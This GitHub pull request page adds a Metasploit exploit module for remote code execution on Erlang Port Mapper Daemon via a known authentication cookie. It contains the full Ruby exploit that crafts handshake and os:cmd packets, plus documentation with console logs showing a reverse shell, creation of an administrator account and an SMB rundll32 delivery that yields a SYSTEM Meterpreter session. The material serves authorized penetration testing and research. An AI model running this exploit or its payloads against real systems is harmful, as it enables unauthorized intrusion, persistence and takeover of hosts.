Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Erlang cookie rce exploit module #11089

Merged
merged 14 commits into from
Dec 19, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
154 changes: 154 additions & 0 deletions documentation/modules/exploit/multi/misc/erlang_cookie_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,154 @@
## Vulnerable Application

The [Erlang Port Mapper Daemon](https://www.erlang.org/) is used to coordinate distributed erlang
instances. Should an attacker get the authentication cookie code execution is trivial. Normally this
cookie can be found in the home directory as ".erlang.cookie", however it varies system to system
as well as its configuration. As an example on a Windows 10 instance it can be found under the
users home directory: e.g `C:\Users\<USER>\.erlang.cookie`. Code execution is achieved via the
`os:cmd('cmd').` command

## Verification Steps

1. Install the Erlang Port Mapper Daemon
2. Install RabbitMQ
3. Start `msfconsole`
4. Do `use exploit/multi/misc/erlang_cookie_rce`
5. Do `set RHOST <ip>`
6. Do `set COOKIE <cookie>`
7. Do `set TARGET <target>`
8. Do `set LHOST <host>`
9. `exploit` and verify shell is opened (if on windows login)

## Scenarios

### Ubuntu 16.04.5 LTS

```
msf exploit(multi/misc/erlang_cookie_rce) > options

Module options (exploit/multi/misc/erlang_cookie_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)


Payload options (cmd/unix/reverse):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST W.X.Y.Z yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Unix


msf exploit(multi/misc/erlang_cookie_rce) > exploit

[*] Started reverse TCP double handler on W.X.Y.Z:4444
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XinIWxzXWDO5x9EM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XinIWxzXWDO5x9EM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:46410) at 2018-12-09 14:45:47 -0600

id
uid=122(rabbitmq) gid=130(rabbitmq) groups=130(rabbitmq)
```

### Windows 10 (Build 17134)

First we want to exploit the host, as an example adding a new user. (Payload is executed over cmd.exe)

```
msf exploit(multi/misc/erlang_cookie_rce) > options

Module options (exploit/multi/misc/erlang_cookie_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE EXAMPLE yes Erlang cookie to login with
RHOST A.B.C.D yes The target address
RPORT 25672 yes The target port (TCP)


Payload options (cmd/windows/adduser):

Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM no Custom group name to be used instead of default
PASS Wetw0rkHax0r$1 yes The password for this user
USER wetw0rk yes The username to create
WMIC false yes Use WMIC on the target to resolve administrators group


Exploit target:

Id Name
-- ----
1 Windows


msf exploit(multi/misc/erlang_cookie_rce) > exploit

[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Exploit completed, but no session was created.
```

Once exploitation is complete the tester can authenticate. Another method that can be used is SMB as shown below.

exploit.rc ->

```
use exploit/windows/smb/smb_delivery
set SHARE MSF
set TARGET 0
exploit -j
use exploit/multi/misc/erlang_cookie_rce
set COOKIE EXAMPLE
set TARGET 1
set RHOST A.B.C.D
set PAYLOAD cmd/windows/generic
set CMD "rundll32.exe \\\\W.X.Y.Z\MSF\test.dll,0"
exploit -j
```

```
msf > resource exploit.rc
[*] Processing /root/exploit.rc for ERB directives.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on W.X.Y.Z:4444
[*] Started service listener on W.X.Y.Z:445
[*] Server started.
[*] Run the following command on the target machine: rundll32.exe \\W.X.Y.Z\MSF\test.dll,0
[*] Exploit running as background job 1.
[*] A.B.C.D:25672 - Receiving server challenge
[*] A.B.C.D:25672 - Sending challenge reply
[+] A.B.C.D:25672 - Authentication successful, sending payload
[*] Sending stage (179779 bytes) to A.B.C.D
[*] Meterpreter session 1 opened (W.X.Y.Z:4444 -> A.B.C.D:51856) at 2018-12-18 14:45:02 -0600
[*] Exploit completed, but no session was created.
msf exploit(multi/misc/erlang_cookie_rce) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
156 changes: 156 additions & 0 deletions modules/exploits/multi/misc/erlang_cookie_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
'Description' => %q{
The erlang port mapper daemon is used to coordinate distributed erlang instances.
Should an attacker get the authentication cookie RCE is trivial. Usually, this
cookie is named ".erlang.cookie" and varies on location.
},
'Author' =>
[
'Daniel Mende', # blog post article
'Milton Valencia (wetw0rk)', # metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'win'],
'Arch' => ARCH_CMD,
'Privileged' => 'false',
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
],
[ 'Windows',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
)
)

register_options(
[
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
Opt::RPORT(25672)
])
end

def generate_challenge_digest(challenge)
challenge = challenge.unpack('H*')[0].to_i(16).to_s

hash = Digest::MD5.new
hash.update(datastore['COOKIE'])
hash.update(challenge)

vprint_status("MD5 digest generated: #{hash.hexdigest}")
return [hash.hexdigest].pack('H*')
end

def exploit
connect

our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"

# SEND_NAME: send initial identification of who "we" are
send_name = "\x00" # Length: 0x0000
send_name << [(our_node.length+7).to_s(16)].pack('H*') #
send_name << "\x6e" # Tag: n
send_name << "\x00\x05" # Version: R6 (5)
send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c)
send_name << "#{our_node}" # <generated>@<generated>

# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
send_challenge_reply = "\x00\x15" # Length: 21
send_challenge_reply << "\x72" # Tag: r

# SEND: send the message to the node
send = "\x00\x00\x00" # Length:0x00000000
send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #
send << "\x70" #
send << "\x83" # VERSION_MAGIC
send << "\x68" # SMALL_TUPLE_EXT (104)
send << "\x04" # Arity: 4
send << "\x61" # SMALL_INTEGER_EXT
send << "\x06" # Int: 6
send << "\x67" # PID_EXT (103)
send << "\x64\x00" # Node:
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
send << "#{our_node}" # Node
send << "\x00\x00\x00\x03" # ID
send << "\x00\x00\x00\x00" # Serial
send << "\x00" # Creation
send << "\x64" # InternalSegmentIndex
send << "\x00\x00" # Len: 0x0000
send << "\x64" # InternalSegmentIndex
send << "\x00\x03" # Length: 3
send << "rex" # AtomText: rex
send << "\x83\x68\x02\x67\x64\x00" #
send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
send << "#{our_node}" # Node
send << "\x00\x00\x00\x03" # ID
send << "\x00\x00\x00\x00" # Serial
send << "\x00" # Creation
send << "\x68" # SMALL_TUPLE_EXT (104)
send << "\x05" # Arity: 5
send << "\x64" # InternalSegmentIndex
send << "\x00\x04" # Length: 4
send << "call" # AtomText: call
send << "\x64" # InternalSegmentIndex
send << "\x00\x02" # Length: 2
send << "os" # AtomText: os
send << "\x64" # InternalSegmentIndex
send << "\x00\x03" # Length: 3
send << "cmd" # AtomText: cmd
send << "\x6c" # LIST_EXT
send << "\x00\x00\x00\x01" # Length: 1
send << "\x6b" # Elements: k
send << "\x00" # Tail
send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command)
send << payload.raw # Command
send << "\x6a" # NIL_EXT
send << "\x64" # InternalSegmentIndex
send << "\x00\x04" # Length: 4
send << "user" # AtomText: user

sock.put(send_name)

# recieve servers "SEND_CHALLENGE" token (4 bytes)
print_status("Receiving server challenge")
challenge = sock.get
challenge = challenge[14,4]

send_challenge_reply << challenge
send_challenge_reply << generate_challenge_digest(challenge)

print_status("Sending challenge reply")
sock.put(send_challenge_reply)

if sock.get.length < 1
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
end

print_good("Authentication successful, sending payload")
sock.put(send)
end
end